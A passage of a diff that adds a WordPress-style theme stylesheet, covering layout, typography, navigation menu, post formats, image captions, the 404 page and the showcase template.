+}
+blockquote:before, blockquote:after,
+q:before, q:after {
+	content: "";
+}
+blockquote, q {
+	quotes: "" "";
+}
+a img {
+	border: 0;
+}
+article, aside, details, figcaption, figure,
+footer, header, hgroup, menu, nav, section {
+	display: block;
+}
+
+
+/* =Structure
+----------------------------------------------- */
+
+body {
+	padding: 0 2em;
+}
+#page {
+	margin: 2em auto;
+	max-width: 1000px;
+}
+#branding hgroup {
+	margin: 0 7.6%;
+}
+#access div {
+	margin: 0 7.6%;
+}
+#primary {
+	float: left;
+	margin: 0 -26.4% 0 0;
+	width: 100%;
+}
+#content {
+	margin: 0 34% 0 7.6%;
+	width: 58.4%;
+}
+#secondary {
+	float: right;
+	margin-right: 7.6%;
+	width: 18.8%;
+}
+
+/* Singular */
+.singular #primary {
+	margin: 0;
+}
+.singular #content,
+.left-sidebar.singular #content {
+	margin: 0 7.6%;
+	position: relative;
+	width: auto;
+}
+.singular .entry-header,
+.singular .entry-content,
+.singular footer.entry-meta,
+.singular #comments-title {
+	margin: 0 auto;
+	width: 68.9%;
+}
+
+/* Attachments */
+.singular .image-attachment .entry-content {
+	margin: 0 auto;
+	width: auto;
+}
+.singular .image-attachment .entry-description {
+	margin: 0 auto;
+	width: 68.9%;
+}
+
+/* Showcase */
+.page-template-showcase-php #primary,
+.left-sidebar.page-template-showcase-php #primary {
+	margin: 0;
+}
+.page-template-showcase-php #content,
+.left-sidebar.page-template-showcase-php #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+.page-template-showcase-php section.recent-posts {
+	float: right;
+	margin: 0 0 0 31%;
+	width: 69%;
+}
+.page-template-showcase-php #main .widget-area {
+	float: left;
+	margin: 0 -22.15% 0 0;
+	width: 22.15%;
+}
+
+/* error404 */
+.error404 #primary {
+	float: none;
+	margin: 0;
+}
+.error404 #primary #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+
+/* Alignment */
+.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 1.625em;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin-left: 1.625em;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Right Content */
+.left-sidebar #primary {
+	float: right;
+	margin: 0 0 0 -26.4%;
+	width: 100%;
+}
+.left-sidebar #content {
+	margin: 0 7.6% 0 34%;
+	width: 58.4%;
+}
+.left-sidebar #secondary {
+	float: left;
+	margin-left: 7.6%;
+	margin-right: 0;
+	width: 18.8%;
+}
+
+/* One column */
+.one-column #page {
+	max-width: 690px;
+}
+.one-column #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+.one-column #nav-below {
+	border-bottom: 1px solid #ddd;
+	margin-bottom: 1.625em;
+}
+.one-column #secondary {
+	float: none;
+	margin: 0 7.6%;
+	width: auto;
+}
+/* Simplify the showcase template */
+.one-column .page-template-showcase-php section.recent-posts {
+	float: none;
+	margin: 0;
+	width: 100%;
+}
+.one-column .page-template-showcase-php #main .widget-area {
+	float: none;
+	margin: 0;
+	width: auto;
+}
+.one-column .page-template-showcase-php .other-recent-posts {
+	border-bottom: 1px solid #ddd;
+}
+/* Simplify the showcase template when small feature */
+.one-column section.featured-post .attachment-small-feature {
+	border: none;
+	display: block;
+	height: auto;
+	max-width: 60%;
+	position: static;
+}
+.one-column article.feature-image.small {
+	margin: 0 0 1.625em;
+	padding: 0;
+}
+.one-column article.feature-image.small .entry-title {
+	font-size: 20px;
+	line-height: 1.3em;
+}
+.one-column article.feature-image.small .entry-summary {
+	height: 150px;
+	overflow: hidden;
+	padding: 0;
+	text-overflow: ellipsis;
+}
+.one-column article.feature-image.small .entry-summary a {
+	left: -9%;
+}
+/* Remove the margin on singular articles */
+.one-column.singular .entry-header,
+.one-column.singular .entry-content,
+.one-column.singular footer.entry-meta,
+.one-column.singular #comments-title {
+	width: 100%;
+}
+/* Simplify the pullquotes and pull styles */
+.one-column.singular blockquote.pull {
+	margin: 0 0 1.625em;
+}
+.one-column.singular .pull.alignleft {
+	margin: 0 1.625em 0 0;
+}
+.one-column.singular .pull.alignright {
+	margin: 0 0 0 1.625em;
+}
+.one-column.singular .entry-meta .edit-link a {
+	position: absolute;
+	left: 0;
+	top: 40px;
+}
+.one-column.singular #author-info {
+	margin: 2.2em -8.8% 0;
+	padding: 20px 8.8%;
+}
+/* Make sure we have room for our comment avatars */
+.one-column .commentlist > li.comment {
+	margin-left: 102px;
+	width: auto;
+}
+/* Make sure the logo and search form don't collide */
+.one-column #branding #searchform {
+	right: 40px;
+	top: 4em;
+}
+/* Talking avatars take up too much room at this size */
+.one-column .commentlist > li.comment {
+	margin-left: 0;
+}
+.one-column .commentlist > li.comment .comment-meta,
+.one-column .commentlist > li.comment .comment-content {
+	margin-right: 85px;
+}
+.one-column .commentlist .avatar {
+	background: transparent;
+	display: block;
+	padding: 0;
+	top: 1.625em;
+	left: auto;
+	right: 1.625em;
+}
+.one-column .commentlist .children .avatar {
+	background: none;
+	padding: 0;
+	position: absolute;
+	top: 2.2em;
+	left: 2.2em;
+}
+.one-column #respond {
+	width: auto;
+}
+
+
+/* =Global
+----------------------------------------------- */
+
+body, input, textarea {
+	color: #373737;
+	font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	line-height: 1.625;
+}
+body {
+	background: #e2e2e2;
+}
+#page {
+	background: #fff;
+}
+
+/* Headings */
+h1,h2,h3,h4,h5,h6 {
+	clear: both;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.625em;
+}
+
+/* Text elements */
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 0 1.625em 2.5em;
+}
+ul {
+	list-style: square;
+}
+ol {
+	list-style-type: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul, ol ol, ul ol, ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 1.625em;
+}
+dt {
+	font-weight: bold;
+}
+dd {
+	margin-bottom: 1.625em;
+}
+strong {
+	font-weight: bold;
+}
+cite, em, i {
+	font-style: italic;
+}
+blockquote {
+	font-family: Georgia, "Bitstream Charter", serif;
+	font-style: italic;
+	font-weight: normal;
+	margin: 0 3em;
+}
+blockquote em, blockquote i, blockquote cite {
+	font-style: normal;
+}
+blockquote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+pre {
+	background: #f4f4f4;
+	font: 13px "Courier 10 Pitch", Courier, monospace;
+	line-height: 1.5;
+	margin-bottom: 1.625em;
+	overflow: auto;
+	padding: 0.75em 1.625em;
+}
+code, kbd, samp, var {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	margin: 0 0 1.625em;
+}
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+small {
+	font-size: smaller;
+}
+
+/* Forms */
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number],
+textarea {
+	background: #fafafa;
+	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	border: 1px solid #ddd;
+	color: #888;
+}
+input[type=text]:focus,
+input[type=password]:focus,
+input[type=email]:focus,
+input[type=url]:focus,
+input[type=number]:focus,
+textarea:focus {
+	color: #373737;
+}
+textarea {
+	padding-left: 3px;
+	width: 98%;
+}
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number] {
+	padding: 3px;
+}
+input#s {
+	background: url(images/search.png) no-repeat 5px 6px;
+	-moz-border-radius: 2px;
+	border-radius: 2px;
+	font-size: 14px;
+	height: 22px;
+	line-height: 1.2em;
+	padding: 4px 10px 4px 28px;
+}
+input#searchsubmit {
+	display: none;
+}
+
+/* Links */
+a {
+	color: #1982d1;
+	text-decoration: none;
+}
+a:focus,
+a:active,
+a:hover {
+	text-decoration: underline;
+}
+
+/* Assistive text */
+.assistive-text {
+	position: absolute !important;
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+}
+#access a.assistive-text:focus {
+	background: #eee;
+	border-bottom: 1px solid #ddd;
+	color: #1982d1;
+	clip: auto !important;
+	font-size: 12px;
+	position: absolute;
+	text-decoration: underline;
+	top: 0;
+	left: 7.6%;
+}
+
+
+/* =Header
+----------------------------------------------- */
+
+#branding {
+	border-top: 2px solid #bbb;
+	padding-bottom: 10px;
+	position: relative;
+	z-index: 9999;
+}
+#site-title {
+	margin-right: 270px;
+	padding: 3.65625em 0 0;
+}
+#site-title a {
+	color: #111;
+	font-size: 30px;
+	font-weight: bold;
+	line-height: 36px;
+	text-decoration: none;
+}
+#site-title a:hover,
+#site-title a:focus,
+#site-title a:active {
+	color: #1982d1;
+}
+#site-description {
+	color: #7a7a7a;
+	font-size: 14px;
+	margin: 0 270px 3.65625em 0;
+}
+#branding img {
+	height: auto;
+	display: block;
+	width: 100%;
+}
+
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	background: #222; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#252525, #0a0a0a);
+	background: -o-linear-gradient(#252525, #0a0a0a);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */
+	background: -webkit-linear-gradient(#252525, #0a0a0a);
+	-webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	-moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px;
+	clear: both;
+	display: block;
+	float: left;
+	margin: 0 auto 6px;
+	width: 100%;
+}
+#access ul {
+	font-size: 13px;
+	list-style: none;
+	margin: 0 0 0 -0.8125em;
+	padding-left: 0;
+}
+#access li {
+	float: left;
+	position: relative;
+}
+#access a {
+	color: #eee;
+	display: block;
+	line-height: 3.333em;
+	padding: 0 1.2125em;
+	text-decoration: none;
+}
+#access ul ul {
+	-moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	-webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	box-shadow: 0 3px 3px rgba(0,0,0,0.2);
+	display: none;
+	float: left;
+	margin: 0;
+	position: absolute;
+	top: 3.333em;
+	left: 0;
+	width: 188px;
+	z-index: 99999;
+}
+#access ul ul ul {
+	left: 100%;
+	top: 0;
+}
+#access ul ul a {
+	background: #f9f9f9;
+	border-bottom: 1px dotted #ddd;
+	color: #444;
+	font-size: 13px;
+	font-weight: normal;
+	height: auto;
+	line-height: 1.4em;
+	padding: 10px 10px;
+	width: 168px;
+}
+#access li:hover > a,
+#access ul ul :hover > a,
+#access a:focus {
+	background: #efefef;
+}
+#access li:hover > a,
+#access a:focus {
+	background: #f9f9f9; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#f9f9f9, #e5e5e5);
+	background: -o-linear-gradient(#f9f9f9, #e5e5e5);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */
+	background: -webkit-linear-gradient(#f9f9f9, #e5e5e5);
+	color: #373737;
+}
+#access ul li:hover > ul {
+	display: block;
+}
+#access .current-menu-item > a,
+#access .current-menu-ancestor > a,
+#access .current_page_item > a,
+#access .current_page_ancestor > a {
+	font-weight: bold;
+}
+
+/* Search Form */
+#branding #searchform {
+	position: absolute;
+	top: 3.8em;
+	right: 7.6%;
+	text-align: right;
+}
+#branding #searchform div {
+	margin: 0;
+}
+#branding #s {
+	float: right;
+	-webkit-transition-duration: 400ms;
+	-webkit-transition-property: width, background;
+	-webkit-transition-timing-function: ease;
+	-moz-transition-duration: 400ms;
+	-moz-transition-property: width, background;
+	-moz-transition-timing-function: ease;
+	-o-transition-duration: 400ms;
+	-o-transition-property: width, background;
+	-o-transition-timing-function: ease;
+	width: 72px;
+}
+#branding #s:focus {
+	background-color: #f9f9f9;
+	width: 196px;
+}
+#branding #searchsubmit {
+	display: none;
+}
+#branding .only-search #searchform {
+	top: 5px;
+	z-index: 1;
+}
+#branding .only-search #s {
+	background-color: #666;
+	border-color: #000;
+	color: #222;
+}
+#branding .only-search #s,
+#branding .only-search #s:focus {
+	width: 85%;
+}
+#branding .only-search #s:focus {
+	background-color: #bbb;
+}
+#branding .with-image #searchform {
+	top: auto;
+	bottom: -27px;
+	max-width: 195px;
+}
+#branding .only-search + #access div {
+	padding-right: 205px;
+}
+
+
+/* =Content
+----------------------------------------------- */
+
+#main {
+	clear: both;
+	padding: 1.625em 0 0;
+}
+.page-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	margin: 0 0 2.6em;
+	text-transform: uppercase;
+}
+.page-title a {
+	font-size: 12px;
+	font-weight: bold;
+	letter-spacing: 0;
+	text-transform: none;
+}
+.hentry,
+.no-results {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 1.625em;
+	padding: 0 0 1.625em;
+	position: relative;
+}
+.hentry:last-child,
+.no-results {
+	border-bottom: none;
+}
+.blog .sticky .entry-header .entry-meta {
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute !important;
+}
+.entry-title,
+.entry-header .entry-meta {
+	padding-right: 76px;
+}
+.entry-title {
+	clear: both;
+	color: #222;
+	font-size: 26px;
+	font-weight: bold;
+	line-height: 1.5em;
+	padding-bottom: .3em;
+	padding-top: 15px;
+}
+.entry-title,
+.entry-title a {
+	color: #222;
+	text-decoration: none;
+}
+.entry-title a:hover,
+.entry-title a:focus,
+.entry-title a:active {
+	color: #1982d1;
+}
+.entry-meta {
+	color: #666;
+	clear: both;
+	font-size: 12px;
+	line-height: 18px;
+}
+.entry-meta a {
+	font-weight: bold;
+}
+.single-author .entry-meta .by-author {
+	display: none;
+}
+.entry-content,
+.entry-summary {
+	padding: 1.625em 0 0;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+.entry-content h1,
+.entry-content h2,
+.comment-content h1,
+.comment-content h2 {
+	color: #000;
+	font-weight: bold;
+	margin: 0 0 .8125em;
+}
+.entry-content h3,
+.comment-content h3 {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.entry-content table,
+.comment-content table {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 1.625em;
+	width: 100%;
+}
+.entry-content th,
+.comment-content th {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.entry-content td,
+.comment-content td {
+	border-top: 1px solid #ddd;
+	padding: 6px 10px 6px 0;
+}
+.entry-content #s {
+	width: 75%;
+}
+.comment-content ul,
+.comment-content ol {
+	margin-bottom: 1.625em;
+}
+.comment-content ul ul,
+.comment-content ol ol,
+.comment-content ul ol,
+.comment-content ol ul {
+	margin-bottom: 0;
+}
+dl.gallery-item {
+	margin: 0;
+}
+.page-link {
+	clear: both;
+	display: block;
+	margin: 0 0 1.625em;
+}
+.page-link a {
+	background: #eee;
+	color: #373737;
+	margin: 0;
+	padding: 2px 3px;
+	text-decoration: none;
+}
+.page-link a:hover {
+	background: #888;
+	color: #fff;
+	font-weight: bold;
+}
+.page-link span {
+	margin-right: 6px;
+}
+.entry-meta .edit-link a,
+.commentlist .edit-link a {
+	background: #eee;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #666;
+	float: right;
+	font-size: 12px;
+	line-height: 1.5em;
+	font-weight: 300;
+	text-decoration: none;
+	padding: 0 8px;
+}
+.entry-meta .edit-link a:hover,
+.commentlist .edit-link a:hover {
+	background: #888;
+	color: #fff;
+}
+.entry-content .edit-link {
+	clear: both;
+	display: block;
+}
+
+/* Images */
+.entry-content img,
+.comment-content img,
+.widget img {
+	max-width: 100%; /* Fluid images for posts, comments, and widgets */
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.size-full,
+img.size-large {
+	max-width: 97.5%;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+.entry-content img.wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 1.625em;
+}
+p img,
+.wp-caption {
+	margin-top: 0.4em;
+}
+.wp-caption {
+	background: #eee;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	padding: 9px;
+}
+.wp-caption img {
+	display: block;
+	margin: -2px 0 0 -2px;
+	max-width: 98%;
+}
+.wp-caption .wp-caption-text,
+.gallery-caption {
+	color: #666;
+	font-family: Georgia, serif;
+	font-size: 12px;
+}
+.wp-caption .wp-caption-text {
+	margin-bottom: 0.6em;
+	padding: 10px 0 5px 40px;
+	position: relative;
+}
+.wp-caption .wp-caption-text:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 7px;
+}
+#content .gallery {
+	margin: 0 auto 1.625em;
+}
+#content .gallery a img {
+	border: none;
+}
+img#wpstats {
+	display: block;
+	margin: 0 auto 1.625em;
+}
+#content .gallery-columns-4 .gallery-item {
+	width: 23%;
+	padding-right: 2%;
+}
+#content .gallery-columns-4 .gallery-item img {
+	width: 100%;
+	height: auto;
+}
+
+/* Image borders */
+img[class*="align"],
+img[class*="wp-image-"],
+#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */
+	border: 1px solid #ddd;
+	padding: 6px;
+	max-width: 97.5%;
+}
+.wp-caption img {
+	border-color: #eee;
+}
+a:focus img[class*="align"],
+a:hover img[class*="align"],
+a:active img[class*="align"],
+a:focus img[class*="wp-image-"],
+a:hover img[class*="wp-image-"],
+a:active img[class*="wp-image-"],
+#content .gallery .gallery-icon a:focus img,
+#content .gallery .gallery-icon a:hover img,
+#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */
+	background: #eee;
+	border-color: #bbb;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {/* ... including captioned images! */
+	background: #fff;
+	border-color: #ddd;
+}
+
+/* Make sure videos and embeds fit their containers */
+embed,
+iframe,
+object {
+	max-width: 100%;
+}
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important; /* Override the Twitter embed fixed width */
+}
+
+/* Password Protected Posts */
+.post-password-required .entry-header .comments-link {
+	margin: 1.625em 0 0;
+}
+.post-password-required input[type=password] {
+	margin: 0.8125em 0;
+}
+.post-password-required input[type=password]:focus {
+	background: #f7f7f7;
+}
+
+/* Author Info */
+#author-info {
+	font-size: 12px;
+	overflow: hidden;
+}
+.singular #author-info {
+	background: #f9f9f9;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+	margin: 2.2em -35.6% 0 -35.4%;
+	padding: 20px 35.4%;
+}
+.archive #author-info {
+	border-bottom: 1px solid #ddd;
+	margin: 0 0 2.2em;
+	padding: 0 0 2.2em;
+}
+#author-avatar {
+	float: left;
+	margin-right: -78px;
+}
+#author-avatar img {
+	background: #fff;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #bbb;
+	-moz-box-shadow: 0 1px 2px #bbb;
+	box-shadow: 0 1px 2px #bbb;
+	padding: 3px;
+}
+#author-description {
+	float: left;
+	margin-left: 108px;
+}
+#author-description h2 {
+	color: #000;
+	font-size: 15px;
+	font-weight: bold;
+	margin: 5px 0 10px;
+}
+
+/* Comments link */
+.entry-header .comments-link a {
+	background: #eee url(images/comment-bubble.png) no-repeat;
+	color: #666;
+	font-size: 13px;
+	font-weight: normal;
+	line-height: 35px;
+	overflow: hidden;
+	padding: 0 0 0;
+	position: absolute;
+	top: 1.5em;
+	right: 0;
+	text-align: center;
+	text-decoration: none;
+	width: 43px;
+	height: 36px;
+}
+.entry-header .comments-link a:hover,
+.entry-header .comments-link a:focus,
+.entry-header .comments-link a:active {
+	background-color: #1982d1;
+	color: #fff;
+	color: rgba(255,255,255,0.8);
+}
+.entry-header .comments-link .leave-reply {
+	visibility: hidden;
+}
+
+/*
+Post Formats Headings
+To hide the headings, display: none the ".entry-header .entry-format" selector,
+and remove the padding rules below.
+*/
+.entry-header .entry-format {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	position: absolute;
+	text-transform: uppercase;
+	top: -5px;
+}
+.entry-header hgroup .entry-title {
+	padding-top: 15px;
+}
+article.format-aside .entry-content,
+article.format-link .entry-content,
+article.format-status .entry-content {
+	padding: 20px 0 0;
+}
+article.format-status .entry-content {
+	min-height: 65px;
+}
+.recent-posts .entry-header .entry-format {
+	display: none;
+}
+.recent-posts .entry-header hgroup .entry-title {
+	padding-top: 0;
+}
+
+/* Singular content styles for Posts and Pages */
+.singular .hentry {
+	border-bottom: none;
+	padding: 4.875em 0 0;
+	position: relative;
+}
+.singular.page .hentry {
+	padding: 3.5em 0 0;
+}
+.singular .entry-title {
+	color: #000;
+	font-size: 36px;
+	font-weight: bold;
+	line-height: 48px;
+}
+.singular .entry-title,
+.singular .entry-header .entry-meta {
+	padding-right: 0;
+}
+.singular .entry-header .entry-meta {
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+blockquote.pull {
+	font-size: 21px;
+	font-weight: bold;
+	line-height: 1.6125em;
+	margin: 0 0 1.625em;
+	text-align: center;
+}
+.singular blockquote.pull {
+	margin: 0 -22.25% 1.625em;
+}
+.pull.alignleft {
+	margin: 0 1.625em 0 0;
+	text-align: right;
+}
+.singular .pull.alignleft {
+	margin: 0 1.625em 0 -22.25%;
+}
+.pull.alignright {
+	margin: 0 0 0 1.625em;
+	text-align: left;
+}
+blockquote.pull.alignleft,
+blockquote.pull.alignright {
+	width: 33%;
+}
+.singular .pull.alignright {
+	margin: 0 -22.25% 0 1.625em;
+}
+.singular blockquote.pull.alignleft,
+.singular blockquote.pull.alignright {
+	width: 33%;
+}
+.singular .entry-meta .edit-link a {
+	bottom: auto;
+	left: 50px;
+	position: absolute;
+	right: auto;
+	top: 80px;
+}
+
+
+/* =Aside
+----------------------------------------------- */
+
+.format-aside .entry-title,
+.format-aside .entry-header .comments-link {
+	display: none;
+}
+.singular .format-aside .entry-title {
+	display: block;
+}
+.format-aside .entry-content {
+	padding: 0;
+}
+.singular .format-aside .entry-content {
+	padding: 1.625em 0 0;
+}
+
+
+/* =Link
+----------------------------------------------- */
+
+.format-link .entry-title,
+.format-link .entry-header .comments-link {
+	display: none;
+}
+.singular .format-link .entry-title {
+	display: block;
+}
+.format-link .entry-content {
+	padding: 0;
+}
+.singular .format-link .entry-content {
+	padding: 1.625em 0 0;
+}
+
+
+/* =Gallery
+----------------------------------------------- */
+
+.format-gallery .gallery-thumb {
+	float: left;
+	display: block;
+	margin: .375em 1.625em 0 0;
+	max-width: 100%;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status .entry-title,
+.format-status .entry-header .comments-link {
+	display: none;
+}
+.singular .format-status .entry-title {
+	display: block;
+}
+.format-status .entry-content {
+	padding: 0;
+}
+.singular .format-status .entry-content {
+	padding: 1.625em 0 0;
+}
+.format-status img.avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+	float: left;
+	margin: 4px 10px 2px 0;
+	padding: 0;
+}
+
+/* =Standard
+----------------------------------------------- */
+
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* =Quote
+----------------------------------------------- */
+
+.format-quote blockquote {
+	color: #555;
+	font-size: 17px;
+	margin: 0;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image .entry-header {
+	min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */
+}
+.indexed.format-image .entry-content {
+	padding-top: 0.5em;
+}
+.indexed.format-image .entry-content p {
+	margin: 1em 0;
+}
+.indexed.format-image .entry-content p:first-child,
+.indexed.format-image .entry-content p:first-child a,
+.indexed.format-image .entry-content p:first-child img {
+	display: block;
+	margin: 0;
+}
+.indexed.format-image .entry-content .wp-caption .wp-caption-text {
+	margin: 0;
+	padding-bottom: 1em;
+}
+.indexed.format-image footer.entry-meta {
+	background: #ddd;
+	overflow: hidden;
+	padding: 4%;
+	max-width: 96%;
+}
+.indexed.format-image div.entry-meta {
+	display: inline-block;
+	float: left;
+	width: 35%;
+}
+.indexed.format-image div.entry-meta + div.entry-meta {
+	float: none;
+	width: 65%;
+}
+.indexed.format-image .entry-meta span.cat-links,
+.indexed.format-image .entry-meta span.tag-links,
+.indexed.format-image .entry-meta span.comments-link {
+	display: block;
+}
+.indexed.format-image footer.entry-meta a {
+	color: #444;
+}
+.indexed.format-image footer.entry-meta a:hover {
+	color: #fff;
+}
+#content .indexed.format-image img {
+	border: none;
+	max-width: 100%;
+	padding: 0;
+}
+.indexed.format-image .wp-caption {
+	background: #111;
+	margin-bottom: 0;
+	max-width: 96%;
+	padding: 2% 2% 0;
+}
+.indexed.format-image .wp-caption .wp-caption-text {
+	color: #ddd;
+}
+.indexed.format-image .wp-caption .wp-caption-text:before {
+	color: #444;
+}
+.indexed.format-image a:hover img {
+	opacity: 0.8;
+}
+
+
+/* =error404
+----------------------------------------------- */
+
+.error404 #main #searchform {
+	background: #f9f9f9;
+	border: 1px solid #ddd;
+	border-width: 1px 0;
+	margin: 0 -8.9% 1.625em;
+	overflow: hidden;
+	padding: 1.625em 8.9%;
+}
+.error404 #main #s {
+	width: 95%;
+}
+.error404 #main .widget {
+	clear: none;
+	float: left;
+	margin-right: 3.7%;
+	width: 30.85%;
+}
+.error404 #main .widget_archive {
+	margin-right: 0;
+}
+.error404 #main .widget_tag_cloud {
+	float: none;
+	margin-right: 0;
+	width: 100%;
+}
+.error404 .widgettitle {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+
+
+/* =Showcase
+----------------------------------------------- */
+
+h1.showcase-heading {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+
+/* Intro */
+article.intro {
+	background: #f9f9f9;
+	border-bottom: none;
+	margin: -1.855em -8.9% 1.625em;
+	padding: 0 8.9%;
+}
+article.intro .entry-title {
+	display: none;
+}
+article.intro .entry-content {
+	color: #111;
+	font-size: 16px;
+	padding: 1.625em 0 0.625em;
+}
+article.intro .edit-link a {
+	background: #aaa;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #fff;
+	font-size: 12px;
+	padding: 0 8px;
+	position: absolute;
+	top: 30px;
+	right: 20px;
+	text-decoration: none;
+}
+article.intro .edit-link a:hover,
+article.intro .edit-link a:focus,
+article.intro .edit-link a:active {
+	background: #777;
+}
+
+/* Featured post */
+section.featured-post {
+	float: left;
+	margin: -1.625em -8.9% 1.625em;
+	padding: 1.625em 8.9% 0;
+	position: relative;
+	width: 100%;
+}
+section.featured-post .hentry {
+	border: none;
+	color: #666;
+	margin: 0;
+}
+section.featured-post .entry-meta {
+	clip: rect(1px 1px 1px 1px); /* IE6, IE7 */
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute !important;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	float: right;
+	height: auto;
+	margin: 0 -8.9% 1.625em 0;
+	max-width: 59%;
+	position: relative;
+	right: -15px;
+}
+section.featured-post.small {
+	padding-top: 0;
+}
+section.featured-post .attachment-small-feature:hover,
+section.featured-post .attachment-small-feature:focus,
+section.featured-post .attachment-small-feature:active {
+	opacity: .8;
+}
+article.feature-image.small {
+	float: left;
+	margin: 0 0 1.625em;
+	width: 45%;
+}
+article.feature-image.small .entry-title {
+	line-height: 1.2em;
+}
+article.feature-image.small .entry-summary {
+	color: #555;
+	font-size: 13px;
+}
+article.feature-image.small .entry-summary p a {
+	background: #222;
+	color: #eee;
+	display: block;
+	left: -23.8%;
+	padding: 9px 26px 9px 85px;
+	position: relative;
+	text-decoration: none;
+	top: 20px;
+	width: 180px;
+	z-index: 1;
+}
+article.feature-image.small .entry-summary p a:hover {
+	background: #1982d1;
+	color: #eee;
+	color: rgba(255,255,255,0.8);
+}
+
+/* Large featured post */
+section.feature-image.large {
+	border: none;
+	max-height: 288px;
+	padding: 0;
+	width: 100%;
+}
+section.feature-image.large .showcase-heading {
+	display: none;
+}
+section.feature-image.large .hentry {
+	border-bottom: none;
+	left: 9%;
+	margin: 1.625em 9% 0 0;
+	position: absolute;
+	top: 0;
+}
+article.feature-image.large .entry-title a {
+	background: #222;
